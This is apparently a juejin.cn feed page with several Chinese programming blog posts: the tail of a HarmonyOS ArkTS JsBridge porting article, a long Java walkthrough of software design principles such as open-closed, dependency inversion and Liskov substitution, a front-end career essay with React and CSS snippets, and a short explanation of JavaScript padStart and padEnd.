if (url.startsWith(BridgeUtil.YY_RETURN_DATA)) {
this.ytoJsBridge.handlerReturnData(url)
} else if (url.startsWith(BridgeUtil.YY_OVERRIDE_SCHEMA)) {
this.ytoJsBridge.flushMessageQueue()
} else {
return null
}
}
return null
})

核心逻辑就这样,剩下的工作量就是苦逼的翻译代码。好在代码量并不大,大概五六个文件。


移植过程中,也踩了一些坑,印象最深的是 ArkTs 中关于接口的写法。


export interface CallBackFunction {
onCallBack(data: string): void
}

这是在 Java/Kotlin 中很常见的一种写法,顺手在 ArkTs 也这么写,但是在使用过程中尝试去写实现的时候就犯了难。如果直接按照传统的前端写法:


let responseFunction: CallBackFunction
if (callBackId != undefined)
{
responseFunction = {
onCallBack: (data: string): void => {
...
}
}
}

你会得到一个 lint 错误 Object literal must correspond to some explicitly declared class or interface (arkts-no-untyped-obj-literals) 。


你可以使用箭头函数来解决这个问题。


export interface CallBackFunction {
onCallBack: (data: string) => void
// onCallBack(data: string): void
}

这也是 ArkTs 目前比较割裂的地方,基于 TS,但是禁用了很多特性。


设想一下如果可以继续兼容 Java/Kotlin,那么这篇文章都不会存在了,压根不存在迁移成本,海量移动端类库无缝衔接......


对象注入


对象注入在 Android WebView 中的实现是 WebView.addJavascriptInterface(Object object, String name) 方法 。


addJavascriptInterface(JsBridge(this@MainActivity, webView), "JsBridge")

class JsBridge(private val activity: Activity, private val webView: WebView) {

@JavascriptInterface
fun webCallNative(message: String) {
Log.e("JsBridge", "webCallNative: ${Thread.currentThread().name}")
Toast.makeText(activity, message, Toast.LENGTH_SHORT).show()
}
}

在鸿蒙中,可以通过 Web 组件的 javaScriptProxy() 方法,或者 WebviewController.registerJavaScriptProxy() 方法。


      Web({ src: this.url, controller: this.controller })
.javaScriptAccess(true)
.javaScriptProxy({
object: this.testObj,
name: "objName",
methodList: ["test", "toString"],
controller: this.controller,
})

这种方式只支持注入一个对象,如果需要注入多个对象,要用 WebviewController.registerJavaScriptProxy()


this.controller.registerJavaScriptProxy(this.testObjtest, "objName", ["test", "toString", "testNumber", "testBool"]);
this.controller.registerJavaScriptProxy(this.webTestObj, "objTestName", ["webTest", "webString"]);

这个方法的调用时机需要注意,必须发生在 controller 和 Web 组件绑定之后,建议放在 Web.onPageEnd()。注册之后需要调用 WebviewController.refresh() 才会生效。


总结


一入鸿蒙深似海,波涛汹涌无尽头。

云涛翻滚遮日月,雾霭弥漫掩星楼。

仙禽异兽齐飞舞,灵草神木共清幽。

鸿蒙奥秘难穷尽,探寻真道意未休。


Write by 文心一言,如有雷同,请...


作者:MobileDeveloper
来源:juejin.cn/post/7345071687309180962
收起阅读 »

违反这些设计原则,系统就等着“腐烂”

分享是最有效的学习方式。 老猫的设计模式专栏已经偷偷发车了。不甘愿做crud boy?看了好几遍的设计模式还记不住?那就不要刻意记了,跟上老猫的步伐,在一个个有趣的职场故事中领悟设计模式的精髓吧。还等什么?赶紧上车吧 故事 这段时间以来,小猫按照之前的系统梳...
继续阅读 »

分享是最有效的学习方式。



老猫的设计模式专栏已经偷偷发车了。不甘愿做crud boy?看了好几遍的设计模式还记不住?那就不要刻意记了,跟上老猫的步伐,在一个个有趣的职场故事中领悟设计模式的精髓吧。还等什么?赶紧上车吧


故事


这段时间以来,小猫按照之前的系统梳理方案【系统梳理大法&代码梳理大法】一直在整理着文档。


系统中涉及的业务以及模型也基本了然于胸,但是这代码写的真的是...


小猫也终于知道了为什么每天都有客诉,为什么每天都要去调用curl语句去订正生产的数据,为什么每天都在Hotfix...


整理了一下,大概出于这些原因,业务流程复杂暂且不议,光从技术角度来看,整个代码体系臃肿不堪,出问题之后定位困难,后面接手的几任开发为了解决问题都是“曲线救国”,不从正面去解决问题,为了解决一时的客诉问题而去解决问题,于是定义了各种新的修复流程去解决问题,这么一来,软件系统“无序”总量一直在增加,整个系统体系其实在初版之后就已经在“腐烂”了,如此?且抛开运维稳定性不谈,就系统本身稳定性而言,能好?


整个系统,除了堆业务还是堆业务,但凡有点软件设计原则,系统也不会写成这样了。


关于设计原则


大家在产品提出需求之后,一般都会去设计数据模型,还有系统流程。但是各位有没有深度去设计一下代码的实现呢?还是说上手就直接照着流程图开始撸业务了?估计有很多的小伙伴由于各种原因不会去考虑代码设计,其实老猫很多时候也一样。主要原因比如:项目催的紧,哪有时间考虑那么多,功能先做出来,剩下的等到后面慢慢优化。然而随着时间的推移,我们会发现我们一直很忙,说好的把以前的代码重构好一点,哪有时间!于是,就这样“技术债”越来越多,就像滚雪球一样,整个系统逐渐“腐烂”到了根。最终坑的可能是自己,也有可能是“下一个他”。


虽然在日常开发的时候项目进度比较紧张,我们很多时候也不去深度设计代码实现,但是我们在写代码的时候保证心中有一杆秤其实还是必要的。


那咱们就结合各种案来聊聊“这杆秤”————软件设计原则。


design_rule.png


下面我们通过各种小例子来协助大家理解软件设计原则,案例是老猫构想的,有的时候不要太过较真,主要目的是讲清楚原则。另外后文中也会有相关的类图表示实体之间的关系,如果大家对类图不太熟悉的,也可以看一下这里【类图传送门


开闭原则


开闭原则,英文(Open-Closed Principle,简称:OCP)。只要指一个软件实体(例如,类,模块和函数),应该对扩展开放,对修改关闭。其重点强调的是抽象构建框架,实现扩展细节,从而提升软件系统的可复用性以及可维护性。


概念是抽象,但是案例是具体的,所以咱们直接看案例,通过案例去理解可能更容易。


由于小猫最近在维护商城类业务,所以咱们就从商品折价售卖这个案例出发。业务是这样的,商城需要对商品进行做打折活动,目前针对不同品类的商品可能打折的力度不一样,例如生活用品和汽车用品的打折情况不同。
创建一个基础商品接口:


public interface IProduct {
String getSpuCode(); //获取商品编号
String getSpuName(); //获取商品名称
BigDecimal getPrice(); //获取商品价格
}

基础商品实现该接口,于是我们就有了如下代码:


/**
*
@Author: 公众号:程序员老猫
*
@Date: 2024/2/7 23:39
*/

public class Product implements IProduct {
private String spuCode;
private String spuName;
private BigDecimal price;
private Integer categoryTag;

public Product(String spuCode, String spuName, BigDecimal price, Integer categoryTag) {
this.spuCode = spuCode;
this.spuName = spuName;
this.price = price;
this.categoryTag = categoryTag;
}

public Integer getCategoryTag() {
return categoryTag;
}

@Override
public String getSpuCode() {
return spuCode;
}

@Override
public String getSpuName() {
return spuName;
}

@Override
public BigDecimal getPrice() {
return price;
}
}

按照上面的业务,现在搞活动,咱们需要针对不同品类的商品进行促销活动,例如生活用品需要进行折扣。当然我们有两种方式实现这个功能,如果咱们不改变原有代码,咱们可以如下实现。


public class DailyDiscountProduct extends Product {
private static final BigDecimal daily_discount_factor = new BigDecimal(0.95);
private static final Integer DAILY_PRODUCT = 1;

public DailyDiscountProduct(String spuCode, String spuName, BigDecimal price) {
super(spuCode, spuName, price, DAILY_PRODUCT);
}

public BigDecimal getOriginPrice() {
return super.getPrice();
}

@Override
public BigDecimal getPrice() {
return super.getPrice().multiply(daily_discount_factor);
}
}

上面我们看到直接打折的日常用品的商品继承了标准商品,并且对其进行了价格重写,这样就完成了生活用品的打折。当然这种打折系数的话我们一般可以配置到数据库中。


对汽车用品的打折其实也是一样的实现。继承之后重写价格即可。咱们并不需要去基础商品Product中根据不同的品类去更改商品的价格。


错误案例


如果我们一味地在原始类别上去做逻辑应该就是如下这样:



public class Product implements IProduct {
private static final Integer DAILY_PRODUCT = 1;
private static final BigDecimal daily_discount_factor = new BigDecimal(0.95);
private String spuCode;
private String spuName;
private BigDecimal price;
private Integer categoryTag;
....
@Override
public BigDecimal getPrice() {
if(categotyTag.equals(DAILY_PRODUCT)){
return price.multiply(daily_discount_factor);
}
return price;
}
}

后续随着业务的演化,后面如果提出对商品名称也要定制,那么咱们可能还是会动当前的代码,我们一直在改当前类,代码越堆越多,越来越臃肿,这种实现方式就破坏了开闭原则。


咱们看一下开闭原则的类图。如下:


kb_01.png


依赖倒置原则


依赖倒置原则,英文名(Dependence Inversion Principle,简称DIP),指的是高层模块不应该依赖低层模块,二者都应该依赖其抽象。通过依赖倒置,可以减少类和类之间的耦合性,从而提高系统的稳定性。这里主要强调的是,咱们写代码要面向接口编程,不要面向实现去编程。


定义看起来不够具体,咱们来看一下下面这样一个业务。针对不同的大客户,我们定制了很多商城,有些商城是专门售卖电器的,有些商城是专门售卖生活用品的。有个大客,由于对方是电器供应商,所以他们想售卖自己的电器设备,于是,我们就有了下面的业务。


//定义了一个电器设备商城,并且支持特有的电器设备下单流程
public class ElectricalShop {
public String doOrder(){
return "电器商城下单";
}
}
//用户进行下单购买电器设备
public class Consumer extends ElectricalShop {
public void shopping() {
super.doOrder();
}
}

我们看到,当客户可选择的只有一种商城的时候,这种实现方式确实好像没有什么问题,但是现在需求变了,马上要过年了,大客户不想仅仅给他们的客户提供电器设备,他们还想卖海鲜产品,这样,以前的这种下单模式好像会有点问题,因为以前我们直接继承了ElectricalShop,这样写的话,业务可拓展性就太差了,所以我们就需要抽象出一个接口,然后客户在下单的时候可以选择不同的商城进行下单。于是改造之后,咱们就有了如下代码:


//抽象出一个更高维度的商城接口
public interface Shop {
String doOrder();
}
//电器商城实现该接口实现自有下单流程
public class ElectricalShop implements Shop {
public String doOrder(){
return "电器商城下单";
}
}
//海鲜商城实现该接口实现自有下单流程
public class SeaFoodShop implements Shop{
@Override
public String doOrder() {
return "售卖一些海鲜产品";
}
}
//消费者注入不同的商城商品信息
public class Consumer {
private Shop shop;
public Consumer(Shop shop) {
this.shop = shop;
}
public String shopping() {
return shop.doOrder();
}
}
//消费者在不同商城随意切换下单测试
public class ConsumerTest {
public static void main(String[] args) {
//电器商城下单
Consumer consumer = new Consumer(new ElectricalShop());
System.out.println(consumer.shopping());
//海鲜商城下单
Consumer consumer2 = new Consumer(new SeaFoodShop());
System.out.println(consumer2.shopping());
}
}


上面这样改造之后,原本继承详细商城实现的Consumer类,现在直接将更高维度的商城接口注入到了类中,这样相信后面再多几个新的商城的下单流程都可以很方便地就完成拓展。


这其实也就是依赖倒置原则带来的好处,咱们最终来看一下类图。


DIP.png


单一职责原则


单一职责原则,英文名(SimpleResponsibility Pinciple,简称SRP)指的是不要存在多余一个导致类变更的原因。这句话看起来还是比较抽象的,老猫个人的理解是单一职责原则重点是区分业务边界,做到合理地划分业务,根据产品的需求不断去重新规划设计当前的类信息。关于单一职责老猫其实之前已经和大家分享过了,在此不多赘述,大家可以进入这个传送门【单一职责原则


接口隔离原则


接口隔离原则(Interface Segregation Principle,简称ISP)指的是指尽量提供专门的接口,而非使用一个混合的复杂接口对外提供服务。


聊到接口隔离原则,其实这种原则和单一职责原则有点类似,但是又不同:



  1. 联系:接口隔离原则和单一职责原则都是为了提高代码的可维护性和可拓展性以及可重用性,其核心的思想都是“高内聚低耦合”。

  2. 区别:针对性不同,接口隔离原则针对的是接口,而单一职责原则针对的是类。


下面,咱们用一个业务例子来说明一下吧。
我们用简单的动物行为这样一个例子来说明一下,动物从大的方面有能飞的,能吃,能跑,有的也会游泳等等。如果我们定义一个比较大的接口就是这样的。


public interface IAnimal {
void eat();
void fly();
void swim();
void run();
...
}

我们用猫咪实现了该方法,于是就有了。


public class Cat implements IAnimal{
@Override
public void eat() {
System.out.println("老猫喜欢吃小鱼干");
}
@Override
public void fly() {
}
@Override
public void swim() {
}
@Override
public void run() {
System.out.println("老猫还喜欢奔跑");
}
}

我们很容易就能发现,如果老猫不是“超人猫”的话,老猫就没办法飞翔以及游泳,所以当前的类就有两个空着的方法。
同样的如果有一只百灵鸟,那么实现Animal接口之后,百灵鸟的游泳方法也是空着的。那么这种实现我们发现只会让代码变得很臃肿,所以,我们发现IAnimal这个接口的定义太大了,我们需要根据不同的行为进行二次拆分。
拆分之后的结果如下:


//所有的动物都会吃东西
public interface IAnimal {
void eat();
}
//专注飞翔的接口
public interface IFlyAnimal {
void fly();
}
//专注游泳的接口
public interface ISwimAnimal {
void swim();
}

那如果现在有一只鸭子和百灵鸟,咱们分别去实现的时候如下:


public class Duck implements IAnimal,ISwimAnimal{
@Override
public void eat() {
System.out.println("鸭子吃食");
}

@Override
public void swim() {
System.out.println("鸭子在河里游泳");
}
}

public class Lark implements IAnimal,IFlyAnimal{
@Override
public void eat() {
System.out.println("百灵鸟吃食");
}

@Override
public void fly() {
System.out.println("百灵鸟会飞");
}
}

我们可以看到,这样在我们具体的实现类中就不会存在空方法的情况,代码随着业务的发展也不会变得过于臃肿。
咱们看一下最终的类图。


ISP.png


迪米特原则


迪米特原则(Law of Demeter,简称 LoD),指的是一个对象应该对其他对象保持最少的了解,如果上面这个原则名称不容易记,其实这种设计原则还有两外一个名称,叫做最少知道原则(Least Knowledge Principle,简称LKP)。其实主要强调的也是降低类和类之间的耦合度,白话“不要和陌生人说话”,或者也可以理解成“让专业的人去做专业的事情”,出现在成员变量,方法输入、输出参数中的类都可以称为成员朋友类,而出现在方法体内部的类不属于朋友类。


通过具体场景的例子来看一下。
由于小猫接手了商城类的业务,目前他对业务的实现细节应该是最清楚的,所以领导在向老板汇报相关SKU销售情况的时候总是会找到小猫去统计各个品类的sku的销售额以及销售量。于是就有了领导下命令,小猫去做统计的业务流程。


//sku商品
public class Sku {
private BigDecimal price;
public BigDecimal getPrice() {
return price;
}

public void setPrice(BigDecimal price) {
this.price = price;
}
}

//小猫统计总sku数量以及总销售金额
public class Kitty {
public void doSkuCheck(List skuList) {
BigDecimal totalSaleAmount =
skuList.stream().map(sku -> sku.getPrice()).reduce(BigDecimal::add).get();
System.out.println("总sku数量:" + skuList.size() + "sku总销售金额:" + totalSaleAmount);
}
}

//领导让小猫去统计各个品类的商品
public class Leader {
public void checkSku(Kitty kitty) {
//模拟领导指定的各个品类
List difCategorySkuList = new ArrayList<>();
kitty.doSkuCheck(difCategorySkuList);
}
}

//测试类
public class LodTest {
public static void main(String[] args) {
Leader leader = new Leader();
Kitty kitty = new Kitty();
leader.checkSku(kitty);
}
}


从上面的例子来看,领导其实并没有参与统计的任何事情,他只是指定了品类让小猫去统计。从而降低了类和类之间的耦合。即“让专门的人做专门的事”


我们看一下最终的类图。


LOD.png


里氏替换原则


里氏替换原则(Liskov Substitution Principle,英文简称:LSP),它由芭芭拉·利斯科夫(Barbara Liskov)在1988年提出。里氏替换原则的含义是:如果一个程序中所有使用基类的地方都可以用其子类来替换,而程序的行为没有发生变化,那么这个子类就遵守了里氏替换原则。换句话说,一个子类应该可以完全替代它的父类,并且保持程序的正确性和一致性。


上述的定义还是比较抽象的,老猫试着重新理解一下,



  1. 子类可以实现父类的抽象方法,但是不能覆盖父类的抽象方法。

  2. 子类可以增加自己特有的方法。

  3. 当子类的方法重载父类的方法的时,方法的前置条件(即方法的输入/入参)要比父类方法的输入参数更加宽松。

  4. 当子类的方法实现父类的方法时,方法的后置条件比父类更严格或者和父类一样。


里氏替换原则准确来说是上述提到的开闭原则的实现方式,但是它克服了继承中重写父类造成的可复用性变差的缺点。它是动作正确性的保证。即类的扩展不会给已有的系统引入新的错误,降低了代码出错的可能性。


下面咱们用里式替换原则比较经典的例子来说明“鸵鸟不是鸟”。我们看一下咱们印象中的鸟类:


class Bird {
double flySpeed;

//设置飞行速度
public void setSpeed(double speed) {
flySpeed = speed;
}

//计算飞行所需要的时间
public double getFlyTime(double distance) {
return (distance / flySpeed);
}
}
//燕子
public class Swallow extends Bird{
}
//由于鸵鸟不能飞,所以我们将鸵鸟的速度设置为0
public class Ostrich extends Bird {
public void setSpeed(double speed) {
flySpeed = 0;
}
}

光看这个实现的时候好像没有问题,但是我们调用其方法计算其指定距离飞行时间的时候,那么这个时候就有问题了,如下:


public class TestMain {
public static void main(String[] args) {
double distance = 120;
Ostrich ostrich = new Ostrich();
System.out.println(ostrich.getFlyTime(distance));

Swallow swallow = new Swallow();
swallow.setSpeed(30);
System.out.println(swallow.getFlyTime(distance));
}
}

结果输出:


Infinity
4.0

显然鸵鸟出问题了,



  1. 鸵鸟重写了鸟类的 setSpeed(double speed) 方法,这违背了里氏替换原则。

  2. 燕子和鸵鸟都是鸟类,但是父类抽取的共性有问题,鸵鸟的飞行不是正常鸟类的功能,需要特殊处理,应该抽取更加共性的功能。


于是我们进行对其进行优化,咱们取消鸵鸟原来的继承关系,定义鸟和鸵鸟的更一般的父类,如动物类,它们都有奔跑的能力。鸵鸟的飞行速度虽然为 0,但奔跑速度不为 0,可以计算出其奔跑指定距离所要花费的时间。优化之后代码如下:


//抽象出更高层次的动物类,定义内部的奔跑行为
public class Animal {
double runSpeed;

//设置奔跑速度
public void setSpeed(double speed) {
runSpeed = speed;
}
//计算奔跑所需要的时间
public double getRunTime(double distance) {
return (distance / runSpeed);
}
}
//定义飞行的鸟类
public class Bird extends Animal {
double flySpeed;
//设置飞行速度
public void setSpeed(double speed) {
flySpeed = speed;
}
//计算飞行所需要的时间
public double getFlyTime(double distance) {
return (distance / flySpeed);
}
}
//此时鸵鸟直接继承动物接口
public class Ostrich extends Animal {
}
//燕子继承普通的鸟类接口
public class Swallow extends Bird {
}

简单测试一下:


public class TestMain {
public static void main(String[] args) {
double distance = 120;
Ostrich ostrich = new Ostrich();
ostrich.setSpeed(40);
System.out.println(ostrich.getRunTime(distance));

Swallow swallow = new Swallow();
swallow.setSpeed(30);
System.out.println(swallow.getFlyTime(distance));
}
}

结果输出:


3.0
4.0

优化之后,优点:



  1. 代码共享,减少创建类的工作量,每个子类都拥有父类的方法和属性;

  2. 提高代码的重用性;

  3. 提高代码的可扩展性;

  4. 提高产品或项目的开放性;


缺点:



  1. 继承是侵入性的。只要继承,就必须拥有父类的所有属性和方法;

  2. 降低代码的灵活性。子类必须拥有父类的属性和方法,让子类自由的世界中多了些约束;

  3. 增强了耦合性。当父类的常量、变量和方法被修改时,需要考虑子类的修改,而且在缺乏规范的环境下,这种修改可能带来非常糟糕的结果————大段的代码需要重构。


最终我们看一下类图:


LSP.png


老猫觉得里氏替换原则是最难把握好的,所以到后续咱们再进行深入涉及模式回归的时候再做深入探究。


合成复用原则


合成复用原则(Composite/Aggregate Reuse Principle,英文简称CARP)是指咱们尽量要使用对象组合而不是继承关系达到软件复用的目的。这样的话系统就可以变得更加灵活,同时也降低了类和类之间的耦合度。


看个例子,当我们刚学java的时候都是从jdbc开始学起来的。所以对于DBConnection我们并不陌生。那当我们实现基本产品Dao层的时候,我们就有了如下写法:


public class DBConnection {
public String getConnection(){
return "获取数据库链接";
}
}
//基础产品dao层
public class ProductDao {
private DBConnection dbConnection;

public ProductDao(DBConnection dbConnection) {
this.dbConnection = dbConnection;
}

public void saveProduct(){
String conn = dbConnection.getConnection();
System.out.println("使用"+conn+"新增商品");
}
}

上述就是最简单的合成服用原则应用场景。但是这里有个问题,DBConnection目前只支持mysql一种连接DB的方式,显然不合理,有很多企业其实还需要支持Oracle数据库链接,所以为了符合之前说到的开闭原则,我们让DBConnection交给子类去实现。于是我们可以将其定义成抽象方法。


public abstract class DBConnection {
public abstract String getConnection();
}
//mysql链接
public class MySqlConnection extends DBConnection{
@Override
public String getConnection() {
return "获取mysql链接";
}
}
//oracle链接
public class OracleConnection extends DBConnection{
@Override
public String getConnection() {
return "获取Oracle链接方式";
}
}

最终的实现方式我们一起看一下类图。


CARP.png


总结


之前看过一个故事,一栋楼的破败往往从一扇破窗户开始,慢慢腐朽。其实代码的腐烂其实也是一样,往往是一段拓展性极差的代码开始。所以这要求我们研发人员还是得心中有杆“设计原则”的秤,咱们可能不会去做刻意的代码设计,但是相信有这么一杆原则的秤,代码也不致于会写得太烂。


当然我们也不要刻意去追求设计原则,要权衡具体的场景做出合理的取舍。
设计原则是设计模式的基础,相信大家在了解完设计原则之后对后续的设计模式会有更加深刻的理解。


作者:程序员老猫
来源:juejin.cn/post/7332858431572049947
收起阅读 »

如何找到方向感走出前端职业的迷茫区

web
引言 最近有几天没写技术文章了,因为最近我也遇到了前端职业的迷茫,于是我静下来,回想了下这几年来在工作上处理问题的方式,整理了下思路 ,写了这一片文章。关于对前端职业的迷茫,如何摆脱或者说衰减,我觉得最重要的是得找到一个自己愿意持续学习、有领域知识积...
继续阅读 »

引言

 最近有几天没写技术文章了,因为最近我也遇到了前端职业的迷茫,于是我静下来,回想了下这几年来在工作上处理问题的方式,整理了下思路 ,写了这一片文章。

关于对前端职业的迷茫,如何摆脱或者说衰减,我觉得最重要的是得找到一个自己愿意持续学习、有领域知识积累的细分方向。工作了3-5年的同学应该需要回答这样一个问题,自己的技术领域是什么?前端工程化、nodejs、数据可视化、互动、搭建、多媒体?如果确定了自己的技术领域,前端的迷茫感和方向感应该会衰弱很多。关于技术领域的学习可以参照 前端开发如何给自己定位?初级?中级?高级!这篇,来确定自己的技术领域。

前端职业是最容易接触到业务,对于业务的要求,都有很大的业务压力,但公司对我们的要求是除了业务还要体现技术价值,这就需要我们做事情之前有充分的思考。在评估一个项目的时候,要想清楚3个问题:业务的目标是什么、技术团队的策略是什么,我们作为前端在里面的价值是什么。如果3个问题都想明白了,前后的衔接也对了,这事情才靠谱。

我们将从业务目标、技术团队策略和前端在其中的价值等方面进行分析。和大家一起逐渐走出迷茫区。

业务目标

image.png 前端开发的最终目标是为用户提供良好的使用体验,并支持实现业务目标。然而,在不同的项目和公司中,业务目标可能存在差异。有些项目注重界面的美观和交互性,有些项目追求高性能和响应速度。因此,作为前端开发者,我们需要了解业务的具体需求,并确保我们的工作能够满足这些目标。

举例来说,假设我们正在开发一个电商网站,该网站的业务目标是提高用户购买商品的转化率。作为前端开发者,我们可以通过改善页面加载速度、优化用户界面和提高网站的易用性来实现这一目标。

  1. 改善页面加载速度: 使用懒加载(lazy loading)来延迟加载图片和其他页面元素,而不是一次性加载所有内容。
htmlCopy Code
src="placeholder.jpg" data-src="image.jpg" class="lazyload">
javascriptCopy Code
document.addEventListener("DOMContentLoaded", function() {
var lazyloadImages = document.querySelectorAll(".lazyload");

function lazyLoad() {
lazyloadImages.forEach(function(img) {
if (img.getBoundingClientRect().top <= window.innerHeight && img.getBoundingClientRect().bottom >= 0 && getComputedStyle(img).display !== "none") {
img.src = img.dataset.src;
img.classList.remove("lazyload");
}
});
}

lazyLoad();

window.addEventListener("scroll", lazyLoad);
window.addEventListener("resize", lazyLoad);
});
  1. 优化用户界面: 使用响应式设计确保网站在不同设备上都有良好的显示效果。
htmlCopy Code
content="width=device-width, initial-scale=1.0">
cssCopy Code
@media (max-width: 768px) {
/* 适应小屏幕设备的样式 */
}

@media (min-width: 769px) and (max-width: 1200px) {
/* 适应中等屏幕设备的样式 */
}

@media (min-width: 1201px) {
/* 适应大屏幕设备的样式 */
}
  1. 提高网站易用性: 添加搜索功能和筛选功能,使用户能够快速找到他们想要购买的商品。
htmlCopy Code
<form>
<input type="text" name="search" placeholder="搜索商品">
<button type="submit">搜索button>
form>

<select name="filter">
<option value="">全部option>
<option value="category1">分类1option>
<option value="category2">分类2option>
<option value="category3">分类3option>
select>
javascriptCopy Code
document.querySelector("form").addEventListener("submit", function(e) {
e.preventDefault();
var searchQuery = document.querySelector("input[name='search']").value;
// 处理搜索逻辑
});

document.querySelector("select[name='filter']").addEventListener("change", function() {
var filterValue = this.value;
// 根据筛选条件进行处理
});

协助技术团队制定策略

image.png 为了应对前端开发中的挑战,协助技术团队需要制定相应的策略。这些策略可以包括技术选型、代码规范、测试流程等方面。通过制定清晰的策略,团队成员可以更好地协作,并在面对困难时有一个明确的方向。

举例来说,我们的团队决定采用React作为主要的前端框架,因为它提供了组件化开发和虚拟DOM的优势,能够提高页面性能和开发效率。同时,我们制定了一套严格的代码规范,包括命名规范、文件组织方式等,以确保代码的可读性和可维护性。

  1. 组件化开发: 创建可重用的组件来构建用户界面,使代码更模块化、可复用和易于维护。
jsxCopy Code
// ProductItem.js
import React from "react";

function ProductItem({ name, price, imageUrl }) {
return (
<div className="product-item">
<img src={imageUrl} alt={name} />
<div className="product-details">
<h3>{name}h3>
<p>{price}p>
div>
div>
);
}

export default ProductItem;
  1. 虚拟DOM优势: 通过使用React的虚拟DOM机制,只进行必要的DOM更新,提高页面性能。
jsxCopy Code
// ProductList.js
import React, { useState } from "react";
import ProductItem from "./ProductItem";

function ProductList({ products }) {
const [selectedProductId, setSelectedProductId] = useState(null);

function handleItemClick(productId) {
setSelectedProductId(productId);
}

return (
<div className="product-list">
{products.map((product) => (
<ProductItem
key={product.id}
name={product.name}
price={product.price}
imageUrl={product.imageUrl}
onClick={() =>
handleItemClick(product.id)}
isSelected={selectedProductId === product.id}
/>
))}
div>
);
}

export default ProductList;
  1. 代码规范示例: 制定一套严格的代码规范,包括命名规范、文件组织方式等。

命名规范示例:

  • 使用驼峰式命名法:例如,productItem而不是product_item
  • 组件命名使用大写开头:例如,ProductList而不是productList
  • 常量全大写,使用下划线分隔单词:例如,API_URL

文件组织方式示例:

Copy Code
src/
components/
ProductList.js
ProductItem.js
utils/
api.js
styles/
product.css
App.js
index.js

前端的价值

image.png 作为前端开发者,在业务中发挥着重要的作用,并能为团队和产品创造价值。前端的价值主要体现在以下几个方面:

1. 用户体验

前端开发直接影响用户体验,良好的界面设计和交互能够提高用户满意度并增加用户的黏性。通过技术的提升,我们可以实现更流畅的页面过渡效果、更友好的交互反馈等,从而提高用户对产品的喜爱度。

例如,在电商网站的商品详情页面中,我们可以通过使用React和动画库来实现图片的缩放效果和购物车图标的动态变化,以吸引用户的注意并提升用户体验。

jsxCopy Code
import React from 'react';
import { Motion, spring } from 'react-motion';

class ProductDetail extends React.Component {
constructor(props) {
super(props);
this.state = {
isImageZoomed: false,
isAddedToCart: false,
};
}

handleImageClick = () => {
this.setState({ isImageZoomed: !this.state.isImageZoomed });
};

handleAddToCart = () => {
this.setState({ isAddedToCart: true });
// 添加到购物车的逻辑
};

render() {
const { isImageZoomed, isAddedToCart } = this.state;

return (
<div>
<img
src={product.image}
alt={product.name}
onClick={this.handleImageClick}
style={{
transform: `scale(${isImageZoomed ? 2 : 1})`,
transition: 'transform 0.3s',
}}
/>

<button
onClick={this.handleAddToCart}
disabled={isAddedToCart}
className={isAddedToCart ? 'disabled' : ''}
>

{isAddedToCart ? '已添加到购物车' : '添加到购物车'}
button>
div>
);
}
}

export default ProductDetail;

2. 跨平台兼容性

在不同的浏览器和设备上,页面的呈现效果可能会有所差异。作为前端开发者,我们需要解决不同平台和浏览器的兼容性问题,确保页面在所有环境下都能正常运行。

通过了解各种前端技术和标准,我们可以使用一些兼容性较好的解决方案,如使用flexbox布局代替传统的浮动布局,使用媒体查询来适配不同的屏幕尺寸等。

  1. 使用Flexbox布局代替传统的浮动布局: Flexbox是一种弹性布局模型,能够更轻松地实现自适应布局和等高列布局。
cssCopy Code
.container {
display: flex;
flex-direction: row;
justify-content: space-between;
}

.item {
flex: 1;
}
  1. 使用媒体查询适配不同的屏幕尺寸: 媒体查询允许根据不同的屏幕尺寸应用不同的CSS样式。
cssCopy Code
@media (max-width: 767px) {
/* 小屏幕设备 */
}

@media (min-width: 768px) and (max-width: 1023px) {
/* 中等屏幕设备 */
}

@media (min-width: 1024px) {
/* 大屏幕设备 */
}
  1. 使用Viewport单位设置响应式元素: Viewport单位允许根据设备的视口尺寸设置元素的宽度和高度。
cssCopy Code
.container {
width: 100vw; /* 100% 视口宽度 */
height: 100vh; /* 100% 视口高度 */
}

.element {
width: 50vw; /* 50% 视口宽度 */
}
  1. 使用Polyfill填补兼容性差异: 对于一些不兼容的浏览器,可以使用Polyfill来实现缺失的功能,以确保页面在各种环境下都能正常工作。
htmlCopy Code
<script src="polyfill.js">script>

3. 性能优化

用户对网页加载速度的要求越来越高,前端开发者需要关注页面性能并进行优化。这包括减少HTTP请求、压缩和合并资源、使用缓存机制等。

举例来说,我们可以通过使用Webpack等构建工具来将多个JavaScript文件打包成一个文件,并进行代码压缩,从而减少页面的加载时间。

结论

image.png 作为前端开发者,我们经常面临各种挑战,如业务目标的实现、技术团队策略的制定等。通过不断学习和提升,我们可以解决前端开发中的各种困难,并为业务目标做出贡献。同时,我们的工作还能够直接影响用户体验,提高产品的竞争。


作者:已注销
来源:juejin.cn/post/7262133010912100411

收起阅读 »

关于padStart和他的兄弟padEnd

web
遇到一个需求,后端返回最多六位的数字,然后显示到页面上。显示大概要这种效果。 这虽然也不是很难,最开始我是这样的 //html <div class="itemStyle" v-if="item in numList">{{item}}</...
继续阅读 »

遇到一个需求,后端返回最多六位的数字,然后显示到页面上。显示大概要这种效果。
image.png
这虽然也不是很难,最开始我是这样的


//html
<div class="itemStyle" v-if="item in numList">{{item}}</div>
//script
let numList;
const setNumberBlock = ()=>{
const bit = 4
const num = '123'//后端返回的数据,这里写死了。
const zorestr = '0'.repeat(bit-num.length)//repeat方法可以重复生成字符串
numList = (zorestr +num).split('')
//然后遍历numList
//大概就这么个意思
}

但是今天我发现了一个方法,他的名字叫padStart,他还有个兄弟叫padEnd;



padStart()padEnd() 是 JavaScript 字符串方法,用于在字符串的开始位置(padStart())或结束位置(padEnd())填充指定的字符,直到字符串达到指定的长度。



这两个方法的语法相似,都接受两个参数:



  • targetLength:表示字符串的目标长度,如果字符串的长度小于目标长度,则会在开始或结束位置填充指定的字符,直到字符串的长度达到目标长度。

  • padString:表示用于填充字符串的字符,它是一个可选参数。如果未提供 padString,则默认使用空格填充。


以下是两个方法的使用示例:


const str = '123';

const paddedStart = str.padStart(5, '0');
console.log(paddedStart); // 输出:00123

const paddedEnd = str.padEnd(5, '0');
console.log(paddedEnd); // 输出:12300

在这个示例中,padStart() 方法将在字符串的开始位置填充 0,直到字符串的长度达到 5,所以结果是 '00123'。而 padEnd() 方法将在字符串的结束位置填充 0,所以结果是 '12300'


这两个方法通常用于格式化数字,确保数字在特定长度内,并且可以按照需要在前面或后面填充零或其他字符。


然后这个需求就可以简化为这样


//html
<div class="itemStyle" v-if="item in numList">{{item}}</div>
//script
let numList;
const setNumberBlock = ()=>{
const num = '123'//后端返回的数据,这里写死了,需要时字符串哦。
numList = num.padStart(4,'0').split('')
//输出[0,1,2,3]
}

